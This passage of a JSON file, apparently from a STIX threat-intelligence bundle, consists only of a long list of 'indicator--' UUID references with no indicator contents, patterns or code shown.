        "indicator--1389a35c-a4b9-45f3-a410-88a18ab8e100",
        "indicator--04575384-76e9-4364-86f7-4a88cce6aec0",
        "indicator--a2ba8a32-06ba-42bb-8d4a-0f7fa3033ad9",
        "indicator--5e1959ed-9a78-4164-83ae-61d88929e838",
        "indicator--d1fabf49-da21-46a7-a531-f9ff227f7fc5",
        "indicator--f689f0ef-b270-4eef-86f8-ddf9ca2bc517",
        "indicator--98ce27c3-5c8a-4be1-9fa0-4f8285cd5b72",
        "indicator--a6a9c8c6-46f0-4b18-93ee-52e497a4c545",
        "indicator--2ae3f510-5697-47ea-a1ad-9ffc1928b561",
        "indicator--e9fa1fce-fb17-49df-96b8-174eb563d8cf",
        "indicator--da4c46c1-bb12-47e5-a98a-a2b6abde7f25",
        "indicator--5b4047f5-1e20-4a60-983e-3eeeb74e5b83",
        "indicator--4e2c9aa8-0fb7-47a1-8b95-f98bb38bbb21",
        "indicator--affec0bc-257b-41e3-a983-8964afbbde71",
        "indicator--0a179ea2-308f-42f9-b273-66faa9a11d61",
        "indicator--a4fbc385-88fd-4d2a-8890-b4ff1e0c0bde",
        "indicator--1e2b69ff-6dea-414e-b458-a2ce0349d0ac",
        "indicator--30e45f43-1b61-4caf-8280-e76c688818f8",
        "indicator--5e5ddec3-c66d-4607-acfb-367e1378c9af",
        "indicator--3790ef49-78a0-4a96-be7f-62163306f5cd",
        "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
        "indicator--25cb80ff-8a3c-43a3-8f82-be974bcd4681",
        "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
        "indicator--801d9244-2061-40ba-935f-aeadf040b1a9",
        "indicator--3ef58b4e-c039-41f7-9fd1-92db4ae84aa2",
        "indicator--30ebc7b7-77a9-4717-8c1b-04a225b4ad6f",
        "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
        "indicator--bca0336a-f499-4ad5-a79e-1308ed520446",
        "indicator--b48897c4-7d12-4d43-bcdb-e4925ef74249",
        "indicator--7cf885c5-405c-4c57-bbf5-41f5a5c6d0b4",
        "indicator--bc8d9073-6156-460b-bd9b-2b243a782285",
        "indicator--21194620-f312-4136-b4a6-3f482da2a328",
        "indicator--7d8402e5-108d-4a23-9237-91ed8cf6abab",
        "indicator--ac104f60-08a8-4474-a355-88821c5396bf",
        "indicator--0016f8fe-20a0-4c53-8ce8-58b0318a5456",
        "indicator--fb0feada-6351-4582-ac15-b83bc47c0289",
        "indicator--8c57397c-a956-40a7-a831-99235f40d484",
        "indicator--cd2ccbda-0b43-46b9-ac48-ca805d5a24a4",
        "indicator--05042f10-a075-4735-ac17-cfe0e295aec3",
        "indicator--4659acda-1783-4c97-bdcb-60d1f91243b4",
        "indicator--8d0eaade-a763-4839-8d3f-622e5a3516d3",
        "indicator--056d5ce2-74a5-4c28-b2b8-e8fb5b7f2d6d",
        "indicator--56101b39-467f-41cd-9a7a-3a0659c8e86d",
        "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
        "indicator--666da0bb-cc7d-4041-b994-70b321ccb1cd",
        "indicator--4d58b6a4-7f8c-4a12-ab94-eaa7d21da961",
        "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
        "indicator--8461b3f4-964b-4c99-95c7-d17f8c75e717",
        "indicator--92f923b6-31b8-4d9c-9487-82f7fc53cdd6",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
        "indicator--56ca5b69-1205-4573-aab7-7c923cafa536",
        "indicator--aa74e2ff-8f21-455c-b306-13387b330852",
        "indicator--cb72020f-1e9a-4240-9218-af648cda2774",
        "indicator--ab0bd71a-b395-4528-ab36-4286e6a99f30",
        "indicator--2cc466a7-8b4f-4e1f-b85c-84c5b1a2730b",
        "indicator--c55d2484-e410-4432-9244-5e0a68a23ec0",
        "indicator--a3d2a87d-a402-499c-867e-94f2fcf61492",
        "indicator--b4aafb16-ee19-4705-a2d8-7950a59fb992",
        "indicator--02022375-6e0b-4e5d-92ae-360aae4a95e2",
        "indicator--db222f1c-b8ce-47c9-999a-2de1013c14ca",
        "indicator--2d2fef31-e68e-4752-a5b2-34c9c2245078",
        "indicator--8786bbcf-9853-4d58-8156-e5ae7c0c37a0",
        "indicator--cd5d2623-6e5e-479d-ad08-ec6411009d8b",
        "indicator--86c00cc5-f2b9-4fbe-856a-ae21df4adc59",
        "indicator--56bf828e-348d-4b65-bc18-6e01f28501e8",
        "indicator--ac67f665-8ea4-45f0-9cd4-0d5548b20814",
        "indicator--89db0f0e-d4d8-4479-a606-d368668533b3",
        "indicator--8af1a12f-abd9-4a5d-95d9-f4b6a764c2bb",
        "indicator--2fb22ffe-9119-4ca0-862e-975cc4d4791d",
        "indicator--262788c8-c587-44f9-ac43-46a41d6bfa03",
        "indicator--bff712da-62af-42ef-90c3-cd8843c2a088",
        "indicator--593abc9a-1970-4805-859a-7643cbfd4afe",
        "indicator--8f6cb2eb-dcc9-4e11-8ad8-ceab7b9b8c59",
        "indicator--a261c6b4-44c0-4e32-a9a7-45d3f17ede70",
        "indicator--8580100f-168f-4ae5-ad10-cf7bd5acfe32",
        "indicator--ba2508fc-0e20-4b7a-969f-493a43dfc9c7",
        "indicator--d4b37385-ab66-4447-a7c9-c2c806b708f6",
        "indicator--1215d9af-fc00-4022-baa6-5a431b8663d7",
        "indicator--fdd53e06-81ba-4aec-8c99-d0e01f68d2c9",
        "indicator--1194eb6e-9178-4ed1-af8e-b1657db0f29a",
        "indicator--85ac1220-5148-4505-bcb4-3baf671993b9",
        "indicator--0966d52a-1dd6-4eb3-a1ec-3fe2adb84125",
        "indicator--f39c46d6-9e8b-4129-aaee-0b07cb29390f",
        "indicator--29905a51-00b8-44f6-b752-4c22a6e44def",
        "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
        "indicator--b158640e-a57a-401a-8210-9c5a77f366b6",
        "indicator--8e8395d8-6dcb-41c8-b20c-d7c791eea2c9",
        "indicator--ce2de760-2eb5-481f-b3e1-f69c1c277227",
        "indicator--6db9cb52-1427-4eed-a9ea-52bf11e02972",
        "indicator--0fb73864-afcf-469c-924d-37838a0b7fd9",
        "indicator--912a9390-38ee-40ea-8fb8-c700a0f1e454",
        "indicator--41dc6e29-385d-460c-8af9-69b9b15c1e80",
        "indicator--555a7b9a-519c-43c8-b4f8-dd25ded56fed",
        "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
        "indicator--d5861336-694d-47f8-96d0-31aa01deefd6",
        "indicator--bb33ef84-f8ef-4198-83e0-f197e442e529",
        "indicator--bf914b35-eedb-40ee-8e59-334262e47c76",
        "indicator--60d75ca8-db15-48d3-8fa4-45217a607e24",
        "indicator--0355f825-3683-40fa-b96e-b9cd9e425a71",
        "indicator--e34db77b-d6d4-44f7-a88c-5ded0d2a2dca",
        "indicator--ad1733a3-caf3-4499-82e9-0d389ac10b6d",
        "indicator--e5dd8d30-13ff-4c71-abbd-dd418102676f",
        "indicator--78643068-5537-4b01-8db6-20c7213983c0",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--d57b5d78-8fcc-4df4-8d59-4e7297c69e88",
        "indicator--1f72f2bb-bca6-449a-9c7e-59b4aaf5ad1c",
        "indicator--7f04775a-52df-4234-8a53-4a3bb38c1c9d",
        "indicator--73730741-e8f5-474f-b117-46abeb4532ad",
        "indicator--6eea1971-9bf8-47a1-b4cf-8821bd43cc4b",
        "indicator--62bac2fc-7879-41b0-8b03-89b5097ab5d6",
        "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
        "indicator--eed97cde-a5d3-4bdd-8f04-d6be073cbac7",
        "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
        "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
        "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
        "indicator--3422c9f3-5840-40d1-a25e-34e9d6eb4b3b",
        "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
        "indicator--d837803e-bf19-4afc-b937-f88a6724b58a",
        "indicator--b19ae766-31a8-4c2b-917a-5afd96f24be7",
        "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
        "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
        "indicator--11ee2afa-55fd-4ad4-8ec2-ee811911b6c3",
        "indicator--168e7c14-45e6-4c0f-87f6-1612ea26a82a",
        "indicator--b0131b83-a0b0-46a7-82e7-be5d2f49ac06",
        "indicator--89251ded-9dc1-4284-bc5f-d03212ca3532",
        "indicator--e37f115d-0a56-447d-a2d7-8485d85ed248",
        "indicator--89a3e415-e816-47f7-a805-5b5c1a876468",
        "indicator--6741f2de-ca28-4e57-8089-f5d0928e78cb",
        "indicator--78deb603-9828-4483-8e62-dffe3b1cc263",
        "indicator--03f21a3d-936b-4e53-b76b-fef080fa4d43",
        "indicator--57b554cc-c9ef-40ff-a77f-d0a066143741",
        "indicator--6e168316-2bed-49cb-8016-2ad5ecba3c81",
        "indicator--d7b16cee-8377-4fe0-b736-68952844d7b2",
        "indicator--7401a83c-7aa8-4f66-b4f3-e418029c1486",
        "indicator--941c20f5-0e84-41bd-827a-3242a4ad737b",
        "indicator--b6cad070-d43e-49a5-b615-646c2bdc79aa",
        "indicator--9a565a3f-6fc0-4e2c-a45a-e77fc5af323a",
        "indicator--61d379fd-d122-4736-a5b9-a436c41c191b",
        "indicator--bb3e8f04-79d2-4d5e-bc90-0003228e4830",
        "indicator--640c0b59-0c1f-4401-a01f-0d49553c6065",
        "indicator--904f1cea-343f-4168-9556-3831a3fedf61",
        "indicator--70af2251-9d2b-4721-97a5-d86fcda4eaee",
        "indicator--eb003749-d1fb-401f-82d0-35948b901e22",
        "indicator--4233b3f7-9c71-4b0a-a507-a49bbb5d6797",
        "indicator--f5b78bb3-0931-4720-b2b4-13e2581a5856",
        "indicator--75e6cf35-c069-4b61-a796-95c927f4fd7d",
        "indicator--a39042a3-5a7a-4923-b44a-337f0f47bd84",
        "indicator--ee2afad1-1a9f-439e-889a-a63643349aaf",
        "indicator--5c662325-31bd-47df-8c3e-80d17b2bc8b8",
        "indicator--f62e360a-17ff-4eef-b89d-acbb52c8c20c",
        "indicator--fe89eb11-4d23-403c-8fa4-0850e410728d",
        "indicator--f9c4c21e-2b2b-4f21-aa85-e734a1c82232",
        "indicator--ef130b56-9060-487c-b4dc-4a7a6bd6e568",
        "indicator--918816eb-1240-4285-acc7-e4be659688f0",
        "indicator--83cf0401-2069-4004-b084-764a3e58a429",
        "indicator--9d2c1146-5410-4b02-b378-7052d135ece3",
        "indicator--99a77ee7-c556-4bff-8568-98b70ad3c2e3",
        "indicator--576bf3e3-bf5d-41b0-a010-f1cef7be301f",
        "indicator--af7f7238-ad4c-457b-a400-3ef34efcb049",
        "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
        "indicator--eaa4cd3a-8546-47de-857a-7382b78cdd51",
        "indicator--8c05b0bc-1cb9-432b-b1a3-f47f4a0b13ed",
        "indicator--031df859-1539-44a7-9954-c17d8d7f0465",
        "indicator--5e919ece-dd70-4473-a71c-183971c23c23",
        "indicator--234c0c2b-8c5d-436f-86ee-036fe5530739",
        "indicator--698b5656-c1e3-4ad2-a689-fec8b7ed59fc",
        "indicator--ddb61e5c-c511-45c8-96b5-1adf6c875d50",
        "indicator--39d160ce-c4c8-4a0e-abac-0b14b6074e22",
        "indicator--35e7f678-8f0b-4402-a3e3-39c803597025",
        "indicator--da2b4abc-ebb8-4c2b-b7a3-69210c17c607",
        "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
        "indicator--c148f032-3d4a-4dfa-99af-1ce56a517f45",
        "indicator--0a2b905c-c9d8-4476-92f3-f02a983a2ada",
        "indicator--08dc7b28-1830-4a7d-bfce-0b98674cbdc7",
        "indicator--b0f154b5-bbe8-4d70-a056-c7a80d197eb4",
        "indicator--b66e3e22-4883-470e-bf14-b666c7fe7f95",
        "indicator--7bcc0851-7b04-442f-9015-ceca99b8ac3b",
        "indicator--3131330e-470b-4e1a-87c5-9df2d3181696",
        "indicator--8aa1cce7-eb48-4a74-954b-552901aad0ff",
        "indicator--bc70b14f-279d-4d70-8a52-d599011af1e6",
        "indicator--6b303be2-a553-4bb6-a662-39db7ae7686f",
        "indicator--cd7fe067-d838-4ff6-8947-058719dde62c",
        "indicator--f05c6cf9-002a-432c-b023-be2d25c2d59e",
        "indicator--00682623-405a-4d6c-9c8c-5a6411f581a6",
        "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
        "indicator--2475f5a7-2a2c-49f7-8a01-22c61059d4ce",
        "indicator--462b73a1-ace8-43e2-8998-e0f69581a6bb",
        "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
        "indicator--a5685f93-d9d7-4cc6-ad2b-67e28a8f9747",
        "indicator--164c359f-966e-4df8-ae3c-600cf131ecb4",
        "indicator--94b62596-0c39-4255-af36-792019f1e071",
        "indicator--b4198849-77e6-42cc-97d0-8b62f3287979",
        "indicator--80b81d43-d738-4605-be0b-ec209ce4bf74",
        "indicator--a13a65f8-371e-4102-95d3-24067255c88f",
        "indicator--4d7b7e9d-7e86-4541-b626-271a9c22e70f",
        "indicator--0753d160-8820-44e8-bfe5-3b897a57f39e",
        "indicator--95255191-f035-49a1-9e88-34d0ed6fdae7",
        "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
        "indicator--40b41990-12ce-42de-8e33-4351d78c5ac4",
        "indicator--f74016d0-b6ac-4401-a6be-fa9e76e8e0eb",
        "indicator--f9a4427f-c946-4eb8-9af4-ef36ef9df820",
        "indicator--ab2e03f4-0e9f-4cf6-a63d-84785aedbd8f",
        "indicator--df8faed3-3f00-4fd7-8dd0-f4de71d1b800",
        "indicator--517f266a-de78-4dfc-aad9-cf4f10abec51",
        "indicator--d7df4aea-803b-4f10-930a-a0ba296a4e3b",
        "indicator--17280afd-0480-4797-9e0c-1896e349a628",
        "indicator--2947b8da-ba5c-4b74-b781-79ea653af2a1",
        "indicator--37c13370-a4f9-4cc1-bf50-f3019412a143",
        "indicator--015e6ab3-bbff-4960-b9d8-0d45a9ec7641",
        "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
        "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
        "indicator--95204f06-889c-4b13-92e2-8b41a2411723",
        "indicator--c98a3b5f-436c-457c-8996-c6dd37c6cfd6",
        "indicator--3504b270-0aca-41a4-a788-60b339657091",
        "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
        "indicator--df2d7557-b607-438c-99ad-73ddefd5da2e",
        "indicator--4a98cbc5-1c38-4fcb-a437-4a6eb2eab5db",
        "indicator--1c3a55a9-5e40-45d2-8543-262859c51c9b",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--d0393dc1-3913-4211-9208-f2ee55924668",
        "indicator--9bd038b5-eb1c-447e-aa92-2878415da22a",
        "indicator--437e1864-f20a-4d96-b1a1-de851a9c25d7",
        "indicator--dc01dc02-e48e-4a77-8944-6b383105729e",
        "indicator--8dec0623-45f1-4017-8404-eacbfafc1dfd",
        "indicator--7dea1523-4eee-4e89-855d-e7aa56b51ea4",
        "indicator--91f296e8-b62f-47bf-ac6f-1cfcb8d76b12",
        "indicator--c4f799eb-4212-4c47-8870-f26eaee8dbde",
        "indicator--7bc4f29d-bce2-4579-9c7b-9eda6b6fc7b3",
        "indicator--398a0c5e-4fba-4829-8dc0-4f74c0e12642",
        "indicator--21bcb2b5-765b-458f-bdfb-248ff95bffc0",
        "indicator--8c6060ef-107e-4292-bb9c-35ce98a9f792",
        "indicator--ac821890-25d8-4a40-b3b4-3d7cfe1f4760",
        "indicator--8bd8b7c8-79f0-4917-bd98-648d8791a7ec",
        "indicator--a7b046bf-6cbd-40eb-a2ba-275251cc28fc",
        "indicator--03110ff4-157f-424c-a794-39847a734257",
        "indicator--9a30e600-f056-478d-af03-d04f5415e403",
        "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
        "indicator--8ad762f9-87cd-45de-bc40-7c1c6c5f306b",
        "indicator--1c22b3e6-3590-49fe-9d85-9c9db452e9d4",
        "indicator--d9e3bfbc-4a2d-4cd5-8231-b4398bae4b70",
        "indicator--87e07e53-4a30-4ae1-b136-a208e56354c6",
        "indicator--615365ba-a4cd-4860-bdac-a44980593494",
        "indicator--5e24afb1-5bff-4222-b07e-f6c8a0ac0e76",
        "indicator--d72a8896-b64d-4ade-9b72-43b6a67c25b1",
        "indicator--5aa29e95-e71e-46e6-bf14-0d706b2457f6",
        "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
        "indicator--b6ceaa0d-9d7a-45e3-8fa4-dba6f6b96dad",
        "indicator--2830b0a8-594c-4f05-b67d-b11a440bd82a",
        "indicator--de06d242-9e57-41d1-ab66-6140604f9328",
        "indicator--172928c2-5f22-4ad2-9730-f868b7c75db9",
        "indicator--14c59a7b-de61-49e6-b86c-d5d50f2a928c",
        "indicator--e7d24470-1518-494c-afce-a10fd747d046",
        "indicator--4084ecab-a7ed-46cd-bd11-6a5cb88e1345",
        "indicator--4164bcce-5381-43d5-b69f-d589d532dc0c",
        "indicator--a3596817-d3f8-4662-aa67-730e7221c809",
        "indicator--71d14066-8785-439a-9b0d-4b0e6b9833de",
        "indicator--963956ae-dfb6-4e62-ac69-114459505452",
        "indicator--4751a6a6-2a32-439d-9e64-5e37f20c5186",
        "indicator--9b8d20ba-ef0c-493c-8cf7-8d53c2fd85ab",
        "indicator--1e637b05-7c14-4b5e-9a83-3b5b98b1cf8f",
        "indicator--16b06fe6-b501-4d7c-a29e-de10d5e03442",
        "indicator--94596175-4e57-4e86-93bc-deffbc03efa5",
        "indicator--fb49678d-f2e2-46a0-9f36-1029161b4e5b",
        "indicator--6524ebb2-2a18-4f02-aefe-5e69d6e3722a",
        "indicator--d66f41a5-f0a5-40e9-bb1a-244b559ab18e",
        "indicator--dc5251a9-dc55-4e26-ac78-da2d53b31b12",
        "indicator--260e3f23-05c1-4e33-8eb3-d8c539879952",
        "indicator--b37b75a1-59d8-4a5a-b56d-92518ec92eeb",
        "indicator--e4473882-9aed-4a1a-9a5e-8894619e610b",
        "indicator--3eed2289-a984-4be4-a693-7084e44381cc",
        "indicator--35b03c6a-efe1-4032-829f-360b82f8d4b6",
        "indicator--ec29d5f4-4b81-4b52-9c8f-ffaceeb1b127",
        "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
        "indicator--eb65745e-c392-495e-a0a1-b9782b4d2444",
        "indicator--b77779ca-01a6-491c-929f-582a58b172ad",
        "indicator--87937334-76ae-4385-bea7-cbb1fe4ff31c",
        "indicator--4c5ceedf-5bc4-40d6-a409-0776e17211b0",
        "indicator--fa8f7016-f120-4cdf-8d8d-4d6a1eeba64a",
        "indicator--697dcf32-f6ab-4d22-9b4b-0981e26038b7",
        "indicator--1372da27-cbb8-4643-b5d6-f7ccde2e400a",
        "indicator--6819bdcd-f932-4b95-b337-84a1354399ef",
        "indicator--a3d6caa8-dc70-4fc2-aa33-894440839acc",
        "indicator--acb65837-c6b7-4a12-b5e6-e063d1efc789",
        "indicator--20926d43-bb9d-4918-bb81-9af04da52280",
        "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
        "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
        "indicator--34f2322a-8dc2-4070-a150-524823b3f4e3",
        "indicator--f2cb7973-413b-455d-ab53-c68c3234f1dc",
        "indicator--89808108-275d-4e16-bda9-40fc01e15ff2",
        "indicator--22846d10-d753-430e-96ff-2905d1c5a5d3",
        "indicator--f5b456fd-7d8a-479d-bf3f-666344cb794f",
        "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
        "indicator--8ea3e39f-3494-4f42-a84b-200bf3f5af75",
        "indicator--e03f2f8c-eaf6-4bd6-8006-eb931063c980",
        "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
        "indicator--bbdb1c7f-2eb2-4098-b141-98812fe2ef01",
        "indicator--0823462f-d19e-4b62-81c4-5f0c82129a0f",
        "indicator--cf22e4fc-e750-45d3-959d-095dabcf16eb",
        "indicator--fdb37fac-711f-4b62-90a5-93c9389f7fc7",
        "indicator--41ce4bfb-cd5b-4dba-8767-0be11721942d",
        "indicator--f18bcb17-037f-4050-9d75-31f767780cb0",
        "indicator--73742297-af2e-4a91-ae1a-d07489a2dc49",
        "indicator--c3927bec-00ce-4e53-8bda-87dddf4e75ba",
        "indicator--0eb39bf6-855a-4a9a-9f3f-a93f1bbb3ad8",
        "indicator--936510c8-41b5-4ce2-aa7f-730c4fb5d1a6",
        "indicator--b75b9183-4c11-466c-af84-6379b4ccba44",
        "indicator--21260b7b-0db2-4330-86e4-6ef602bda2ec",
        "indicator--ee5945fa-7dd3-44e5-bf18-bf38462fd400",
        "indicator--7d39ebf4-7e78-432b-855c-213239e6f68e",
        "indicator--035332b0-1500-481a-84e9-d3c13fa07c35",
        "indicator--1aeefd22-c3ee-4fd2-8b2c-80fa85569767",
        "indicator--d095d900-ca4c-47c7-bc82-38dd0db82618",
        "indicator--29abb18c-cef3-4a41-8d6c-3d9afb7a8c29",
        "indicator--33251fa0-81d9-43d8-88cb-a73f4bf8a161",
        "indicator--4b14d777-f8fb-4b07-b3fd-299e5bd2d7bb",
        "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
        "indicator--bf830de7-d382-4213-9c68-425148392021",
        "indicator--da93830c-4cae-4186-a33e-f46f3d9bd209",
        "indicator--90939b91-9339-4d9a-aa25-ad89b310e468",
        "indicator--c52e58d7-a0dd-4ab5-95b6-d0f4e5742a95",
        "indicator--839a0843-7453-42de-98e6-936cd85bf8e5",
        "indicator--e863e0bd-17c9-4182-a27e-8af88c19fe61",
        "indicator--b676579e-8947-4939-82f9-3e6f49e94431",
        "indicator--ad4996fe-200a-4de1-9929-f6b3de3d859c",
        "indicator--c1788a2b-b8ad-4d8d-a954-fa7e62e8695b",
        "indicator--91c4ae3b-35a8-4d8d-be12-b6bddab28a43",
        "indicator--13da4231-d7be-4f15-ba65-5c3c4c877ab3",
        "indicator--baa5b08d-8caa-42c6-808c-8c7e1e60b8f4",
        "indicator--45db6003-7a7d-403b-8050-c80529741557",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--d88ad00a-6cdb-4a34-9293-9d1cb476a0a1",
        "indicator--0eb3abea-572d-4640-8fbd-34c94dd2de4f",
        "indicator--8815c1db-2b24-45aa-ac71-ac66f8ca8e23",
        "indicator--963ed2d6-6927-49b4-8022-84e5864c3157",
        "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
        "indicator--e1a05da5-72a1-4803-a3d8-ed01e8a588da",
        "indicator--e2f5e25d-4eae-4b9c-b2af-44bd3e323a5f",
        "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
        "indicator--4a0b41c2-4900-4049-bd87-10b069c9bcc6",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--0b8222c8-c06b-4883-91d3-9308903f5f97",
        "indicator--0e5125a2-fb77-45bd-b5c3-f14ee16322c7",
        "indicator--4cdb8a5a-4fe9-435d-970c-1dcc77aa139f",
        "indicator--265782b1-587c-4798-8d09-f72ae74be911",
        "indicator--3b5eb422-150e-4196-b791-f3d1e713b8d8",
        "indicator--1be33b90-249e-47d5-8672-6806dbee12b4",
        "indicator--9ac60455-7bc0-4853-8c56-73ef98b3d3ae",
        "indicator--5a0220a6-800f-450b-a4b4-f4f50b8c26d1",
        "indicator--9f96af40-801e-41df-9f7b-3ff2e812e435",
        "indicator--c7c17e0b-1080-4945-b5a0-4a0f561a420d",
        "indicator--03e9384e-6a70-4763-8598-64516d2be283",
        "indicator--ad8b420e-a811-4e6d-807f-a04f4ca32da7",
        "indicator--e987f7c0-a8ab-45aa-a2e5-a5e4f98e285b",
        "indicator--c7d10613-ad5f-4871-9b5e-90951e80cf17",
        "indicator--989468e6-7e59-4ab0-bb21-987a9daef076",
        "indicator--84890aaa-0270-4447-9485-638af1a3529d",
        "indicator--7a7d9728-d9ed-4094-8f1b-830d1b8fc0ed",
        "indicator--b4980019-95e8-4848-b1f3-7c5f7ff100fa",
        "indicator--51b67330-5981-46de-b4ec-9ba2b567dc1f",
        "indicator--645530ed-4fe0-45a5-815d-e25907998d3d",
        "indicator--c59624db-2e7c-4c2f-854e-ec7bff96226d",
        "indicator--a8d310de-ac61-42e8-9c44-07aa6b47bd48",
        "indicator--06837a9a-0a0e-49ff-a686-992fd3ce4374",
        "indicator--3508299f-a7dd-4384-9606-21c8c7e0125e",
        "indicator--7cf9468e-976f-40de-a09f-880f0637bf26",
        "indicator--81a9be0d-f5ff-49de-abdb-ad3cd05952b3",
        "indicator--868183cb-9d10-4cbb-8588-ef3042565805",
        "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
        "indicator--7ede9236-99b1-4b6d-ab1f-2cf60d87b2aa",
        "indicator--84cfc733-0f82-47c6-9957-7971789e71c2",
        "indicator--59084dc4-2ddf-48dc-8009-dc910cc0f3de",
        "indicator--6a2f5078-26ae-4bd5-93f2-8ce8f89180b5",
        "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
        "indicator--ea92fe82-d4e6-46e1-80d4-2df6eef9cc96",
        "indicator--cd03c59d-0bc9-4f30-8d0f-7f6036e4af0e",
        "indicator--d7281cbb-b24d-4049-8f87-815a9666ea48",
        "indicator--734d1c6c-799b-42ef-8a11-75d4b10f8b3c",
        "indicator--23ab7701-bb07-487e-9a47-b4db3bf90a29",
        "indicator--74a8ee5c-6b21-4404-8fd3-4a7172f92017",
        "indicator--6702e520-46da-4193-9269-d321c2f1938f",
        "indicator--a13dccb9-60d1-4cbd-a22a-f82023d26bb8",
        "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
        "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
        "indicator--3d9735df-879b-4019-a3fb-d2c966e4099e",
        "indicator--619142e7-10e0-4fd9-a105-baa369244e6b",
        "indicator--61c0b394-64c3-479f-84fe-141dc388d085",
        "indicator--a614599c-8855-4d43-ac2b-242921bb1657",
        "indicator--5f2d9340-6aaf-42cf-a0bf-c43c9b7af0ca",
        "indicator--5d51cea9-4218-480a-8a41-4e2cbdf6c78e",
        "indicator--c307b371-5e50-45ef-bafd-dffb29987687",
        "indicator--d105af9d-e844-40c6-b07c-ef42e2c38a6e",
        "indicator--784d150f-88a0-437f-861d-e81c05394d2a",
        "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
        "indicator--da851f59-e320-482f-89d1-d6dae29a36bb",
        "indicator--cc28dda6-096c-4e89-8f15-38b9495bb04c",
        "indicator--17ab4256-2a8d-4b15-ad28-2208d169bd7f",
        "indicator--fb2b1927-8037-4664-9b1f-9a9652632366",
        "indicator--5ddcc15f-db31-457b-b45c-c4e21de95de1",
        "indicator--5cb03d24-00b0-4030-b39e-e28b2248f968",
        "indicator--76fea263-306f-4c9f-9b5c-528ae83fda62",
        "indicator--ab827987-eee6-436d-bc3b-8bcb96f7b7c6",
        "indicator--221b0c0f-80a0-480b-94ef-7a2af4ba0509",
        "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
        "indicator--3eaccefe-d4d8-4666-bba4-40082d0cdf07",
        "indicator--cba18040-5365-4eec-8db4-61ae958347c0",
        "indicator--9f7f2a65-42aa-4cc0-b85b-3d91475de14a",
        "indicator--9b66487a-17a1-4113-af7a-aee352f8c273",
        "indicator--b3fee87a-4dce-4c03-b7c7-a1e9e2a2253f",
        "indicator--88f9228b-9441-4526-9f1a-0231cd515d74",
        "indicator--af0ae3f5-d1b8-4651-b2ce-017a4dc58652",
        "indicator--d8b49f90-4ea5-4c0d-b944-fa550693bfe9",
        "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
        "indicator--2479f579-ac35-46fa-a421-a46d167c82e4",
        "indicator--75d86fa0-df97-4eaa-8416-44169366af7c",
        "indicator--a8b1027b-c990-4ae9-ad85-371be0063db7",
        "indicator--014d0db0-5154-422f-9be9-fc6954bac136",
        "indicator--fdfd811c-98bd-45da-8521-78cb15af2e70",
        "indicator--c1796a6c-9c1a-4679-8b3a-e3cfc5f61dcd",
        "indicator--cf8cf6e3-e29f-4204-8d63-c179eaad1233",
        "indicator--6df14005-0769-4118-b39b-149d5e528bd2",
        "indicator--0f12df2b-c5f6-4e88-aec8-10accf8613b1",
        "indicator--49ff0146-0b39-41c0-9498-6849c3b12906",
        "indicator--63ce6063-7a77-43f4-8ea9-9ac229669332",
        "indicator--88d78d63-610b-419d-b70b-88054328cfe1",
        "indicator--985a1598-a917-4cd9-8bfc-88c3cc9676d3",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--61ef19a6-c836-4b26-95f0-cadbf311f060",
        "indicator--dfefb0a3-fdc0-4e5a-b6d0-ca52fec569f5",
        "indicator--cb3a6cc1-da01-44f6-aa22-2e1a7dff74f9",
        "indicator--df980c95-182f-4ddf-92eb-1df8e2808468",
        "indicator--73dcbc77-41ae-4c1a-b049-25456baaf307",
        "indicator--9c2f0181-8341-4e3a-9c17-7fefe5466936",
        "indicator--a50f5d1f-bb50-48f6-b925-89d9a1c9e158",
        "indicator--e8926302-16a7-4372-8589-eae736a08810",
        "indicator--741363b3-8722-4579-83cd-15eb094f7c40",
        "indicator--364cbe47-554d-4c8a-856f-06c8d75208a7",
        "indicator--54815ebe-a635-431f-9126-b5f6486b0f43",
